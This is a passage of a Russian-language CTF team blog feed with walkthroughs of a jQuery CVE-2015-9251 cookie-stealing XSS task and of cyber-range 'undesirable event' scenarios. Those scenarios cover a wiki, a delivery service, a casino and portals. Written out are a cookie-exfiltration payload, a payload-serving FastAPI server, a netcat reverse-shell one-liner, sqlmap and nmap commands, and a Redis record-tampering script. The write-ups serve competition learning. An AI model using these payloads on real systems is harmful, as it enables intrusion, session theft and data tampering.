  <blockquote id="1eJh">Справка: jQuery — это быстрая, небольшая и функциональная JavaScript библиотека, которая упрощает работу с HTML-документами, обработку событий, анимацию и взаимодействие с AJAX. Она позволяет разработчикам писать меньше кода для выполнения сложных задач и обеспечивает кроссбраузерную совместимость. </blockquote>
  <p id="Xrdq">Немного погуглив, мы нашли весьма интересную уязвимость, подходящую для нашей ситуации – CVE-2015-9251</p>
  <figure id="6vIG" class="m_column">
    <img src="https://img1.teletype.in/files/49/af/49af5a53-a1e9-48cc-b2f8-757d5a1dec34.png" width="2034" />
    <figcaption>CVE</figcaption>
  </figure>
  <blockquote id="2HOg">Справка: CVE-2015-9251 — это уязвимость в библиотеке jQuery, которая может привести к выполнению произвольного кода через уязвимые версии jQuery при использовании метода <code>$.ajax()</code>. Эта уязвимость возникает из-за недостаточной проверки входных данных, что позволяет злоумышленнику манипулировать запросами и получать доступ к конфиденциальной информации или выполнять нежелательные действия на стороне клиента.</blockquote>
  <p id="9j6C">Окей, нашли уязвимость, как ее теперь применить? Описание уязвимости гласит о неком cross-domain Ajax request, поэтому и думать пришлось в сторону него:</p>
  <figure id="uwhv" class="m_column">
    <img src="https://img3.teletype.in/files/ef/01/ef01124b-18c1-4264-9316-8fd9ccacab84.png" width="2572" />
    <figcaption>CVE Detail</figcaption>
  </figure>
  <p id="p3Zs">Небольшой ресерч позволил нам обнаружить, что при запросе вида <a href="http://base_url//example.com" target="_blank">http://base_url//example.com</a> браузер посредством Ajax-запроса будет безуспешно пытаться запросить какой-то .json с example.com:</p>
  <figure id="7zFH" class="m_column">
    <img src="https://img2.teletype.in/files/9b/46/9b46e404-079f-4673-933a-769e3ee032cf.png" width="2188" />
    <figcaption>Source code</figcaption>
  </figure>
  <p id="mEdI">А при помощи Burp Collaborator мы убедились, что запросы действительно летят на подконтрольный нам сервер:</p>
  <figure id="nnBJ" class="m_column">
    <img src="https://img3.teletype.in/files/25/e7/25e791a3-8b9d-48c9-b31d-be04f7760df5.png" width="3502" />
    <figcaption>url</figcaption>
  </figure>
  <p id="LXDD">И вновь за каким-то .json</p>
  <figure id="EWGQ" class="m_column">
    <img src="https://img1.teletype.in/files/8e/ae/8eae5846-27bb-4c51-b7ac-3b4da98f05a6.png" width="1766" />
    <figcaption>Collaborator</figcaption>
  </figure>
  <p id="2dZm">Собственно, вот и есть тот самый <em>cross-domain Ajax request. </em>Осталось дело за малым<em> – дать ему то, что он хочет.</em></p>
  <p id="DGsW">Для начала мы решили попробовать стандартную нагрузку для cookie hijacking:</p>
  <pre id="oXi2">document.location=&quot;https://uec4rpqgcs5dryq81ng1xqf990fs3ir7.oastify.com/?cookie=&quot;+document.cookie</pre>
  <p id="5qYS">Спойлер: её оказалось достаточно. Нагрузку записали её в файл data.js. </p>
  <p id="lYuc">Далее нами был поднят простенький FastAPI-сервер, который в ответ на запрос по нужному нам маршруту возвращал содержимое файла data.js – нашу полезную нагрузку:</p>
  <pre id="1CuJ">from fastapi import FastAPI
from fastapi.responses import Response
import uvicorn
from fastapi.middleware.cors import CORSMiddleware

app = FastAPI()



app.add_middleware(
    CORSMiddleware,
    allow_origins=[&quot;*&quot;],
    allow_credentials=True,
    allow_methods=[&quot;*&quot;],
    allow_headers=[&quot;*&quot;],
)


@app.get(&quot;/data.js.json&quot;)
def route():
    return Response(content=open(&#x27;data.js&#x27;).read(), media_type=&quot;application/javascript&quot;)


uvicorn.run(app, host=&quot;0.0.0.0&quot;, port=19000)</pre>
  <figure id="oISk" class="m_column">
    <img src="https://img1.teletype.in/files/0c/d1/0cd1dfd5-9d50-4d3a-a80e-2d2ff54c0f1b.png" width="1988" />
    <figcaption>api &amp; payload</figcaption>
  </figure>
  <p id="uoMZ">Теперь, при обращении по адресу <a href="http://base_url//evil.com/data.js" target="_blank">http://base_url//evil.com/data.js</a> на наш FastAPI-севрер прилетает запрос на путь /data.js.json, тот самый, который мы описали в его логике:</p>
  <figure id="heRs" class="m_column">
    <img src="https://img4.teletype.in/files/74/bc/74bc202d-7347-4f0c-add2-3b100cd6652c.png" width="3008" />
    <figcaption>Request</figcaption>
  </figure>
  <p id="xlZO">В ответ на что наш FastAPI заботливо возвращает XSS payload с заголовком content-type: application/javascript</p>
  <figure id="C6ho" class="m_column">
    <img src="https://img2.teletype.in/files/1b/68/1b68b84a-792e-4546-a4ff-c8b54500e245.png" width="1272" />
    <figcaption>xss</figcaption>
  </figure>
  <p id="lZx9">А на Collaborator прилетел запрос с нашими собственными cookie – трюк удался:</p>
  <figure id="dBZi" class="m_column">
    <img src="https://img4.teletype.in/files/f6/54/f6547a93-7463-43ad-9049-003c669b1979.png" width="1314" />
    <figcaption>collabor</figcaption>
  </figure>
  <p id="6AR5">Осталось лишь дождаться, когда админ подарит нам свою куку, внутри нее и будет ответ к заданию.<br /></p>
  <h2 id="lZxL">Заключение  </h2>
  <p id="HzE8">Несмотря на то, что выше описанное не выглядит чрезвычайно сложным, jQuery уязвимости в подобных заданиях встречаются нечасто и в результате таск провисел с нашим единственным решением почти 4 часа, прежде чем на него поступил второй солв. Такие дела. </p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@collapsz/WUJajYQ7T5L</guid><link>https://teletype.in/@collapsz/WUJajYQ7T5L?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=collapsz</link><comments>https://teletype.in/@collapsz/WUJajYQ7T5L?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=collapsz#comments</comments><dc:creator>collapsz</dc:creator><title>II. Разбор недопустимых событий с отборочных на Международные игры</title><pubDate>Tue, 15 Oct 2024 08:58:05 GMT</pubDate><media:content medium="image" url="https://img2.teletype.in/files/d2/a9/d2a94d7f-b900-45fd-ae2e-151e1f76c9da.png"></media:content><description><![CDATA[<img src="https://img3.teletype.in/files/20/0c/200c4946-5a9c-47d2-bde0-16e0956c11b0.jpeg"></img>@fefuctf @collapsz]]></description><content:encoded><![CDATA[
  <p id="2hcd">@fefuctf @collapsz</p>
  <hr />
  <h2 id="BBuQ">Вступление</h2>
  <p id="fBsQ">Всем привет!</p>
  <p id="ktkD">Подвезли вам вторую часть разбора рисков с сегмента <strong>Standalone</strong> — самое лакомое, сложное и интересное. Сегодня без долгих вступлений =) </p>
  <hr />
  <h2 id="fYiN">1. Кража новой технологии для генерации электроэнергии</h2>
  <p id="NQ1x">В первой части разбора мы провели первичную разведку и получили информацию о списке хостов в сети, среди них был хост corp-wiki.standalone.stf – наша сегодняшняя жертва.</p>
  <figure id="QxGy" class="m_column">
    <img src="https://img2.teletype.in/files/51/e5/51e5a7a8-87ee-47c9-8432-0508680dbada.png" width="2630" />
    <figcaption>Недопустимое событие</figcaption>
  </figure>
  <p id="21lT">По результатам сканирования на данном хосте были обнаружены порты 80, 8082, и 3306 – MySQL, запомним это и отправимся изучать веб. </p>
  <p id="ge0i">Встречает нас лендинг корпоративной вики:</p>
  <figure id="BMFq" class="m_column">
    <img src="https://img2.teletype.in/files/d6/05/d6058baa-4946-4e2f-8431-a20460be9714.png" width="3576" />
    <figcaption>corp-wiki</figcaption>
  </figure>
  <p id="HMjF">В статьях ничего особо полезного нет, за исключением имени пользователя – emivil</p>
  <figure id="clRn" class="m_column">
    <img src="https://img3.teletype.in/files/2e/c0/2ec031e0-7c09-489b-8253-9385b8e44702.png" width="2116" />
    <figcaption>User</figcaption>
  </figure>
  <p id="poZ6">Так же на ресурсе доступна функция логина и регистрации, однако для регистрации пользователя необходим код приглашения, которого у нас нет. Однако нам удалось сбрутить пароль пользователя emiwil:</p>
  <figure id="kOO6" class="m_column">
    <img src="https://img4.teletype.in/files/bd/33/bd335e65-1444-413d-a4ea-54be5e92be36.png" width="2054" />
    <figcaption>Password bruteforce</figcaption>
  </figure>
  <p id="Q7Le">Попадаем в систему под пользователем emivil и начинаем внимательно изучать список доступных нам статей, среди которых находим следующее: </p>
  <figure id="aIzJ" class="m_column">
    <img src="https://img2.teletype.in/files/90/39/9039378c-28d4-4661-ae0d-73733eeaab6d.png" width="2106" />
    <figcaption>post 1</figcaption>
  </figure>
  <p id="1Esm">Итак, есть некий пользователь roblee с паролем <code>;;48~Various~Boat~Cold~97;;</code></p>
  <p id="WkKS">Пользователь жалуется, что не может получить доступ ни к какому ресурсу, кроме вики и <strong>базы данных. </strong>Вспоминаемпро порт 3306 и мчим туда<strong>:</strong></p>
  <pre id="8iGL">mysql -h 10.124.249.9 -P 3306 -u roblee -p</pre>
  <p id="TIU7">Получаем доступ к базе данных и видим список таблиц:</p>
  <figure id="h3bx" class="m_column">
    <img src="https://img2.teletype.in/files/58/25/582555c2-d91b-48a9-b75f-ab198d582baf.jpeg" width="1234" />
    <figcaption>mysql</figcaption>
  </figure>
  <p id="aNDG">Вставим сюда свой пригласительный код:</p>
  <pre id="KbuJ">INSERT INTO wiki.codes (code) VALUE (&#x27;collapsz_g0dl1ke_c0d3&#x27;);</pre>
  <p id="yBUk">И регистрируем нового пользователя, указывая вставленный в базу код:</p>
  <figure id="AFgy" class="m_column">
    <img src="https://img3.teletype.in/files/e9/84/e984d85f-649f-468f-833f-2ab39df962a2.png" width="1074" />
    <figcaption>Register</figcaption>
  </figure>
  <p id="wplo">В профиле находим функции смены ника, слогана и аватарки:</p>
  <figure id="nbJ3" class="m_column">
    <img src="https://img4.teletype.in/files/b9/c1/b9c12d67-f0d3-46a1-ad6b-2dc37614da10.png" width="2228" />
    <figcaption>Profile</figcaption>
  </figure>
  <p id="LQHP">Через смену аватарки реализуем ssrf:</p>
  <figure id="M3me" class="m_column">
    <img src="https://img3.teletype.in/files/e0/49/e0497e41-5763-4e29-be1e-83831c17b3b5.png" width="1138" />
    <figcaption>ssrf</figcaption>
  </figure>
  <figure id="RA78" class="m_column">
    <img src="https://img1.teletype.in/files/44/42/44420aab-0924-4bf8-8a9f-e691ea653deb.png" width="1820" />
    <figcaption>ssrf</figcaption>
  </figure>
  <p id="1ton">Сдаем SSRF-флаг, но недопустимое событие мы все еще не реализовали. Среди статей была парочка, где автором  был указан admin – его учетку мы и хотим получить. Вернемся к статьям, доступным emivil и обнаружим там это: </p>
  <figure id="CdQ1" class="m_column">
    <img src="https://img1.teletype.in/files/c3/e4/c3e46d57-250a-4885-a74d-7edf51f58ecb.png" width="2640" />
    <figcaption>post 2</figcaption>
  </figure>
  <p id="PJeH">Некий баг на неком http://searchserver:8000/api/data</p>
  <p id="eAdk">Снова возвращаемся к смене аватарки. Отправив запрос на ресурс выше видим выхлоп:</p>
  <figure id="5Vhr" class="m_column">
    <img src="https://img3.teletype.in/files/a2/07/a207b9dd-0a15-4501-ab0a-f1ca84913958.png" width="1714" />
    <figcaption>searchserver</figcaption>
  </figure>
  <p id="i4Nz">Немного поигравшись с URL запроса получаем знакомую ошибку:</p>
  <figure id="YzRh" class="m_column">
    <img src="https://img3.teletype.in/files/ef/a6/efa6b450-43f7-4824-8450-c02f6edb0bef.jpeg" width="924" />
    <figcaption>500</figcaption>
  </figure>
  <p id="kFI0">sqlmap моментально убивал тачку, поэтому эту скулю пришлось крутить ручками:</p>
  <figure id="oQdT" class="m_column">
    <img src="https://img2.teletype.in/files/9f/ba/9fba468f-3779-4867-a9f9-ad9e6550def0.png" width="3600" />
    <figcaption>pass</figcaption>
  </figure>
  <p id="opc8">Авторизуемся с найденным паролем и среди статей админа находим ту самую с секретной формулой, что и требовалось в риске:</p>
  <figure id="WCuR" class="m_column">
    <img src="https://img1.teletype.in/files/8b/fb/8bfb8222-0f08-4be8-900b-7af11966263e.png" width="1998" />
    <figcaption>secret formula</figcaption>
  </figure>
  <hr />
  <h2 id="f16N">2. Нарушение работы службы доставки (подмена адреса и данных получателя)</h2>
  <p id="y81z">Это. Было. Долго. Кто понял, тот понял =) <s>Помчали </s>поползли. В данном риске было необходимо подменить адреса и данные получателя посылки </p>
  <figure id="TG9G" class="m_column">
    <img src="https://img2.teletype.in/files/5d/3e/5d3e125c-99bc-4609-8612-f4c371ca6d23.png" width="2578" />
    <figcaption>Риск</figcaption>
  </figure>
  <p id="LfyJ">На 80 порту хоста нас встречает веб-сайт, позволяющий регистрироваться, логиниться, и создавать новые посылки. </p>
  <figure id="I2Gm" class="m_column">
    <img src="https://img2.teletype.in/files/10/ac/10ac4355-03da-4e37-97b1-4680f2d27888.png" width="3600" />
    <figcaption>fastship</figcaption>
  </figure>
  <p id="1dy2">Базовые проверки на уязвимости успеха не принесли, все работало как надо</p>
  <figure id="MjSE" class="m_column">
    <img src="https://img2.teletype.in/files/d0/b2/d0b2c515-a7c0-4733-8837-fe7a4b9f0e3d.png" width="3566" />
    <figcaption>profile</figcaption>
  </figure>
  <p id="ei2N">Немного поковырявшись, мы смогли вызвать 500 ошибку на странице логина:</p>
  <figure id="2a3H" class="m_column">
    <img src="https://img3.teletype.in/files/a9/80/a980ecfc-3fa7-4f93-91f5-699d4243701c.png" width="2884" />
    <figcaption>500</figcaption>
  </figure>
  <p id="EYWr">Далее дело техники – сохраняем запрос и скармливаем его в sqlmap: </p>
  <pre id="9Yus">sqlmap -r fastship.req --level 3 --flush-session --batch</pre>
  <p id="jzgj">sqlmap определил СУБД posgresql:</p>
  <figure id="qqO0" class="m_column">
    <img src="https://img2.teletype.in/files/9a/e7/9ae7dbbd-7c7d-401b-adcf-20ed92999a33.jpeg" width="1040" />
    <figcaption>PostgreSQL</figcaption>
  </figure>
  <p id="k2tB">SQL-инъекция оказалась time-based, поэтому, несмотря на <code>--threads 10</code>, ждать пришлось очень, очень долго. И самое веселое – ничего полезного мы так и не сдампили. Зато спустя n часов смогли получить shell. Через time-based в PostgreSQL, да...было долго.</p>
  <figure id="N6sX" class="m_column">
    <img src="https://img1.teletype.in/files/81/27/812794a2-0532-4e1a-b130-3efc54d1aeb1.jpeg" width="1280" />
    <figcaption>os-shell</figcaption>
  </figure>
  <p id="tbgb">Далее при помощи netcat нагрузки получили стабильный реверс-шелл и закрепились в системе с использованием meterpreter и sliver:</p>
  <pre id="wfpg">rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2&gt;&amp;1|nc 10.10.10.10 9001 &gt;/tmp/f</pre>
  <p id="Tuqa">В ходе перечисления ресурсов системы мы нашли креды админа базы данных PostgreSQL, однако замена всех необходимых ячеек не привела к реализации НС – пришлось копать глубже. </p>
  <p id="dhhO">При помощи скрипта subf.sh (скрипт для брутфорса паролей учетных записей *nix) мы сбрутили пароль пользователя fastship и пароль пользователя root: </p>
  <figure id="KbTq" class="m_column">
    <img src="https://img1.teletype.in/files/8c/0f/8c0fa295-8414-48c1-a598-fde7aeec2e70.jpeg" width="1280" />
    <figcaption>bruteforce</figcaption>
  </figure>
  <p id="S9mx">После чего получили доступ к сурс-файлам веб-сайта и поняли, что в качестве базы данных используется не PosgreSQL, а Redis:</p>
  <figure id="EGFB" class="m_column">
    <img src="https://img2.teletype.in/files/5e/99/5e996a7a-b4b0-4ac7-a1ab-a9e77baa9edf.jpeg" width="1280" />
    <figcaption>Redis</figcaption>
  </figure>
  <p id="5hon">Спустя некоторое время мы написали скрипт, заменяющий все нужные нам ключи (их там было очень, очень много) на нужные нам значения:</p>
  <pre id="mkPY">import redis
import time
from concurrent.futures import ThreadPoolExecutor

def update_recipient(key):
    try:
        package = r.hgetall(key)
        updates = []
        
        if (b&#x27;recipient&#x27; in package and package[b&#x27;recipient&#x27;] != b&#x27;stf_xakep&#x27;):
            updates.append((&#x27;recipient&#x27;, &#x27;stf_xakep&#x27;))
        
        if (b&#x27;recipient_address&#x27; in package and package[b&#x27;recipient_address&#x27;] != b&#x27;stf_recipient&#x27;):
            updates.append((&#x27;recipient_address&#x27;, &#x27;stf_recipient&#x27;))

        if updates:
            for field, value in updates:
                r.hset(key, field, value)
            return key.decode(&#x27;utf-8&#x27;)
        else:
            return None 

    except redis.RedisError as e:
        print(f&quot;Ошибка при обновлении {key.decode(&#x27;utf-8&#x27;)}: {e}&quot;)
        return None

try:
    r = redis.StrictRedis(host=&#x27;127.0.0.1&#x27;, port=6379, password=&#x27;material-deny-infect-dully-praline-froufrou&#x27;)
    r.ping()
except redis.ConnectionError as e:
    print(f&quot;Ошибка подключения к Redis: {e}&quot;)
    exit(1)

start_time = time.time()

keys = []
cursor = 0
try:
    while True:
        cursor, batch_keys = r.scan(cursor, match=&#x27;*&#x27;, count=1000)
        keys.extend(batch_keys)
        print(f&quot;Получено {len(batch_keys)} ключей&quot;)
        if cursor == 0:
            break
except redis.RedisError as e:
    print(f&quot;Ошибка при получении ключей: {e}&quot;)
    exit(1)

updated_keys = []
with ThreadPoolExecutor(max_workers=10) as executor: 
    results = list(executor.map(update_recipient, keys))
    updated_keys = [key for key in results if key is not None]  


new_keys = []
cursor = 0
try:
    while True:
        cursor, batch_keys = r.scan(cursor, match=&#x27;*&#x27;, count=1000)
        new_keys.extend(batch_keys)
        if cursor == 0:
            break
except redis.RedisError as e:
    print(f&quot;Ошибка при проверке новых ключей: {e}&quot;)
    exit(1)


new_key_count = len(new_keys)
end_time = time.time()

print(f&quot;Обновление завершено за {end_time - start_time:.2f} секунд.&quot;)
print(f&quot;Количество обновленных ключей: {len(updated_keys)}&quot;)
print(f&quot;Количество новых ключей: {new_key_count}&quot;)</pre>
  <p id="RD1Q">В результате работы скрипта все значения recipient и recipient_address были заменены на нужные нам значения. Недопустимое событие было реализовано. </p>
  <figure id="wk2c" class="m_column">
    <img src="https://img1.teletype.in/files/45/78/4578daa8-3b80-43fd-996d-5046f4857b4e.png" width="1270" />
    <figcaption>Риск</figcaption>
  </figure>
  <hr />
  <h2 id="s9kg">3. Компрометация алгоритмов работы онлайн-казино</h2>
  <p id="s59Y">Самое лакомое на сегодня – казино. Название риска говорит само за себя – нужно  любыми способами обмануть эту ракетку и выиграть у дилера. </p>
  <figure id="19oY" class="m_column">
    <img src="https://img2.teletype.in/files/9c/2e/9c2e3132-ea27-4b19-8154-b20d4c53f60d.png" width="2574" />
    <figcaption>Риск</figcaption>
  </figure>
  <p id="hRlF">На самом сайте ничего особо интересного нет: </p>
  <figure id="gcvo" class="m_column">
    <img src="https://img3.teletype.in/files/a8/94/a894e044-d4ba-4604-8f7a-3095e0b7e9fd.png" width="2988" />
    <figcaption>Casino</figcaption>
  </figure>
  <p id="BUDm">Однако попытка просмотреть карты в новой вкладке открыла для нас интересный URL-запрос: </p>
  <figure id="XQjZ" class="m_column">
    <img src="https://img2.teletype.in/files/50/27/50273b83-3358-4c08-afe2-d2f3162eb991.png" width="1278" />
    <figcaption>card</figcaption>
  </figure>
  <p id="XkJT">И мы не прогадали:</p>
  <figure id="q6Pw" class="m_column">
    <img src="https://img3.teletype.in/files/a0/a6/a0a6f784-9bff-40a1-b9dc-538ce1648e49.png" width="2902" />
    <figcaption>LFI</figcaption>
  </figure>
  <p id="x8Da">Сдаем LFI-флаг и идем дальше, однако что нам может дать LFI в риске, где нужно  скомпрометировать алгоритм работы казино? </p>
  <p id="cTwL">Все запросы летят в json, где-то же этот json должен обрабатываться, так? </p>
  <figure id="z6MH" class="m_column">
    <img src="https://img3.teletype.in/files/a2/8a/a28a8275-41ff-42d4-94f7-379108765b4d.png" width="2102" />
    <figcaption>Запрос</figcaption>
  </figure>
  <p id="N3bC">При помощи Burp Intruder мы проверили /proc/FUZZ/cmdline, откуда получили информацию о запущенном /opt/casino/server</p>
  <p id="WzBC">По заголовку становится ясно, что это какой-то бинарь</p>
  <figure id="qsT6" class="m_column">
    <img src="https://img4.teletype.in/files/f6/4e/f64e640e-cf6a-4a9f-97b5-45fbec5572b3.png" width="2906" />
    <figcaption>/opt/casino/server</figcaption>
  </figure>
  <p id="NR07">Качаем его себе и ужасаемся:</p>
  <figure id="6SUM" class="m_column">
    <img src="https://img1.teletype.in/files/05/ba/05ba79d0-5462-4590-bab4-f9ca5d1504b0.jpeg" width="1280" />
    <figcaption>DIE</figcaption>
  </figure>
  <p id="Xsxy">Прежде чем реверсить бинарь я предпринял отчаянную попытку выиграть в 21 в честную. Да, было. Да, отчаянно.</p>
  <figure id="M8TU" class="m_column">
    <img src="https://img3.teletype.in/files/20/0c/200c4946-5a9c-47d2-bde0-16e0956c11b0.jpeg" width="1024" />
  </figure>
  <p id="6sXa">Спустя 3 часа игры через разные стратегии я выявил закономерность:  </p>
  <blockquote id="UBxR"><strong><em>иногда, после того, как в игре побывает примерно 400-420 карт, дилер ошибается и набирает более, чем 21 очко, что приводит к его проигрышу. И происходит это стабильно в районе ~400 карт. </em></strong></blockquote>
  <p id="KlhA">Таким образом в голове зародилась мысль о том, какая уязвимость логики может быть в данном риске: <strong><em>в момент начала игры дилер инициализирует колоду карт если карты в ней вдруг заканчиваются, алгоритм отрабатывает неправильно и дилер набирает более, чем 21 очко</em></strong>. </p>
  <p id="FdFP">Наличие такого вектора в голове сильно упростило дальнейший реверс. Что нам дал бинарь: </p>
  <ul id="bbXi">
    <li id="GfgG">При запуске он стартует HTTP-сервер и слушает входящие соединения самого на порту 3410 (API самого казино), общение с которым происходит посредством отправки данных в формате JSON</li>
  </ul>
  <figure id="ntL5" class="m_column">
    <img src="https://img2.teletype.in/files/5e/8f/5e8f5129-7b9c-41c6-a3a3-6bd3c8ac6579.png" width="3600" />
    <figcaption>server</figcaption>
  </figure>
  <ul id="CpN3">
    <li id="z3Ef">При поступлении запроса на начало новой игры, создается сессия и ей присваивает определенный uuid</li>
    <li id="iHEz">После этого инициализируются колода карт из трех наборов</li>
    <ul id="Ui1f">
      <li id="MK3o">Набор номер 1: <em>ThreeSevenEightQueenClubsFourFiveNineJackKingFiveNineJackKingSixSixAce</em></li>
      <li id="ERce">Набор номер 2: <em>SevenEightQueenClubsEightQueenClubsNineJackKingTenTenAce</em></li>
      <li id="hbEL">Набор номер 3:<br /><em>JackKingQueenClubsKingAceTwoTwoAce</em></li>
    </ul>
  </ul>
  <figure id="mNXP" class="m_column">
    <img src="https://img4.teletype.in/files/39/b9/39b9fbc6-961c-4c65-b2f8-2a83dfb91b04.png" width="3600" />
    <figcaption>IDA</figcaption>
  </figure>
  <ul id="vLQU">
    <li id="qiGp">После того как колода карт заканчивается, дилер начинает брать карты из  нее заново, начиная с первого набора</li>
  </ul>
  <p id="KC7q">Далее опытным путем (на этот раз при помощи автоматизации на Python) было найдено точное количество карт, после которого дилер обращается к первому набору из колоды – <strong>416</strong>. </p>
  <p id="mDUp">Я уверен, что это можно найти и в самом бинаре, но реверс GoLang есть реверс GoLang и чем его меньше, тем лучше =)</p>
  <p id="6ErU">В результате полученной информации и выявленной уязвимости была выработана стратегия: <strong>маленькими ставками опустошить колоду, довести ее до уязвимого состояния и следом сделать большую ставку с расчетом на ошибку в алгоритме.</strong></p>
  <p id="Gnie">Код будет работать рекурсивно, в случае неудачи будет начинать новую игру и так вплоть до победного.</p>
  <figure id="xudY" class="m_column">
    <img src="https://img4.teletype.in/files/35/5c/355c57dc-cfd1-49d4-84e8-7682ccc5b47c.png" width="2268" />
    <figcaption>Recurse</figcaption>
  </figure>
  <p id="QEOd">Спустя несколько итераций код выведет game_id выигранной сессии, что сигнализирует нам о успешно реализованном недопустимом событии.</p>
  <figure id="aFru" class="m_column">
    <img src="https://img4.teletype.in/files/b9/30/b930d32c-b91a-44f7-ba83-5ee6bd4e8629.png" width="2978" />
    <figcaption>exploit</figcaption>
  </figure>
  <p id="RjzV">Отправив запрос с нашим gid по адресу {BASE_URL}/games/{gid}/flag, проходим проверки и получаем флаг для реализации недопустимого события:</p>
  <figure id="f3P2" class="m_column">
    <img src="https://img4.teletype.in/files/3e/df/3edfc20d-bf88-4c5d-a5d6-8be9144b46c6.png" width="1568" />
    <figcaption>flag</figcaption>
  </figure>
  <p id="9XHI">После чего сдаем эту красоту:</p>
  <figure id="AhmT" class="m_column">
    <img src="https://img4.teletype.in/files/70/d7/70d75098-452c-4594-a77b-c21e3984ff83.jpeg" width="1280" />
    <figcaption>Submit</figcaption>
  </figure>
  <h2 id="QDAi">Заключение</h2>
  <p id="Rzlj">Собственно, на этом и заканчивается наше приключение в сегменте Standalone. Было круто, было сложно, было интересно. </p>
  <p id="t3Ii">С нетерпением ждем финалы! Всем меньше реверса голенга и удачи, спасибо за внимание =)</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@collapsz/WQsCOq1LOUq</guid><link>https://teletype.in/@collapsz/WQsCOq1LOUq?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=collapsz</link><comments>https://teletype.in/@collapsz/WQsCOq1LOUq?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=collapsz#comments</comments><dc:creator>collapsz</dc:creator><title>I. Разбор недопустимых событий с отборочных на Международные игры</title><pubDate>Mon, 14 Oct 2024 08:47:53 GMT</pubDate><media:content medium="image" url="https://img3.teletype.in/files/e7/c9/e7c9290f-050e-481c-b25e-9e31c9af2eea.png"></media:content><description><![CDATA[<img src="https://img4.teletype.in/files/7c/15/7c15859b-bd4a-4488-8e15-0c09f795c156.png"></img>@fefuctf @collapsz]]></description><content:encoded><![CDATA[
  <p id="QJTB">@fefuctf @collapsz</p>
  <hr />
  <h2 id="K159">Вступление </h2>
  <p id="ZWQb">Всем привет!<br />Сегодня закончились отборочные на Международные игры по кибербезопасности, финал которых пройдет 30-31 октября. По результатам соревнований нам удалось войти в число команд, реализовавших <strong>все</strong> недопустимые события и уязвимости, заложенные на полигоне.</p>
  <figure id="6fms" class="m_column">
    <img src="https://img4.teletype.in/files/7c/15/7c15859b-bd4a-4488-8e15-0c09f795c156.png" width="2600" />
    <figcaption>Scoreboard</figcaption>
  </figure>
  <p id="WVgX">И пока мы усердно готовимся к финалу, предлагаю вашему первую часть разбора реализованных нами недопустимых событий. Приятного прочтения!</p>
  <hr />
  <h2 id="UK6D">Разведка</h2>
  <p id="xDem">В начале соревнований нам был предоставлен скоуп — диапазон адресов с которыми мы можем работать. Начинается все со сканирования — первым делом мы провели icmp-сканирование с целью выявить &quot;живые&quot; хосты в рамках скоупа:</p>
  <p id="gAdA"><code>nmap -sn 10.124.249.0/27 -oN active_hosts</code></p>
  <p id="5Tir">После чего запустили агрессивное сканирование хостов внешнего периметра:</p>
  <p id="GJdt"><code>nmap -A -iL active_hosts -oN external_scan</code></p>
  <p id="JKc4">В результате получили следующую табличку: </p>
  <figure id="zklZ" class="m_column">
    <img src="https://img4.teletype.in/files/b1/e3/b1e3eb89-e2e4-4dc9-8120-20950b2cd720.png" width="698" />
    <figcaption>Hosts</figcaption>
  </figure>
  <hr />
  <h2 id="HbMF">1. Дефейс информационного портала</h2>
  <p id="7QPX">Нашей первой жертвой стал портал city.standalone.stf с задачей выполнить дефейс – несанкционированное изменение главной страницы сайта.</p>
  <figure id="ZhMx" class="m_column">
    <img src="https://img4.teletype.in/files/b9/aa/b9aaaf97-2099-4d75-9adb-de4c19eeed3a.png" width="2598" />
    <figcaption>Недопустимое событие 1</figcaption>
  </figure>
  <p id="Gqdh">Сканирование показало открытый 80 порт, на котором нас ждал лендинг: </p>
  <figure id="IIJ2" class="m_column">
    <img src="https://img1.teletype.in/files/45/ec/45ecb7ef-f847-4303-89e4-f8654e70b93f.png" width="3600" />
    <figcaption>Landing city</figcaption>
  </figure>
  <p id="HyCl">В сурс коде мы нашли информацию об используемом Bludut-3.9.2:</p>
  <figure id="dDRM" class="m_column">
    <img src="https://img1.teletype.in/files/c8/82/c8823a69-e740-4d2b-909f-fa682e88f650.png" width="2070" />
    <figcaption>Bludit-3.9.2</figcaption>
  </figure>
  <p id="1MVU">Да, да..</p>
  <figure id="pcJi" class="m_column">
    <img src="https://img3.teletype.in/files/62/e4/62e4b267-b3db-4993-95e2-7a1d7584ff0b.png" width="1216" />
    <figcaption>cve bludit</figcaption>
  </figure>
  <p id="NtJG">Далее мы воспользовались фреймворком Metasploit и получили удаленное выполнение кода на сервере:</p>
  <figure id="ipNi" class="m_column">
    <img src="https://img2.teletype.in/files/15/85/15855f0c-b72e-42c4-8525-4d402359d8dc.jpeg" width="1280" />
    <figcaption>RCE</figcaption>
  </figure>
  <p id="B3kg">Чуть позднее обнаружили cap на python3.9 и зарутили тачку: </p>
  <figure id="ZwND" class="m_column">
    <img src="https://img2.teletype.in/files/95/bd/95bde875-1e38-4aad-9a62-8a87cc557a4f.png" width="1076" />
    <figcaption>www-data -&gt; root</figcaption>
  </figure>
  <p id="bYNk">Ну и, наконец, сам дефейс. Недопустимое событие реализовано. </p>
  <figure id="ymjd" class="m_column">
    <img src="https://img3.teletype.in/files/a3/50/a35074aa-bb06-40fc-ae42-4df955e332c2.png" width="3600" />
    <figcaption>Defaced</figcaption>
  </figure>
  <hr />
  <h2 id="yojP">2. Захват информационного портала </h2>
  <p id="8pRw">Следующей целью стал портал tube.standalone.stf с задачей запустить на нем вирус-шифровальщик от имени пользователя root:</p>
  <figure id="dbvj" class="m_column">
    <img src="https://img1.teletype.in/files/cb/71/cb714325-fe6d-4833-92b2-e4541835f546.png" width="2616" />
    <figcaption>Недопустимое событие 2</figcaption>
  </figure>
  <p id="TZas">Сканирование вновь показала открытый 80 порт и мы вновь начали с изучения лендинга:</p>
  <figure id="Bvrk" class="m_column">
    <img src="https://img2.teletype.in/files/d1/a9/d1a972a6-ca2e-4899-998b-7735e875decc.png" width="3588" />
    <figcaption>Tube landing</figcaption>
  </figure>
  <p id="vM4o">Беглое изучение сурсов привело нас на путь <code>/api/getDate.php</code></p>
  <figure id="Sw3A" class="m_column">
    <img src="https://img1.teletype.in/files/c2/cc/c2ccaaed-f969-47f8-907c-aaa6e10d1282.jpeg" width="1280" />
    <figcaption>getDate</figcaption>
  </figure>
  <p id="DdrV">Любому опытному веберу уже наверняка очевиден вектор – у нас тут RCE на блюдечке:</p>
  <pre id="FJMu">
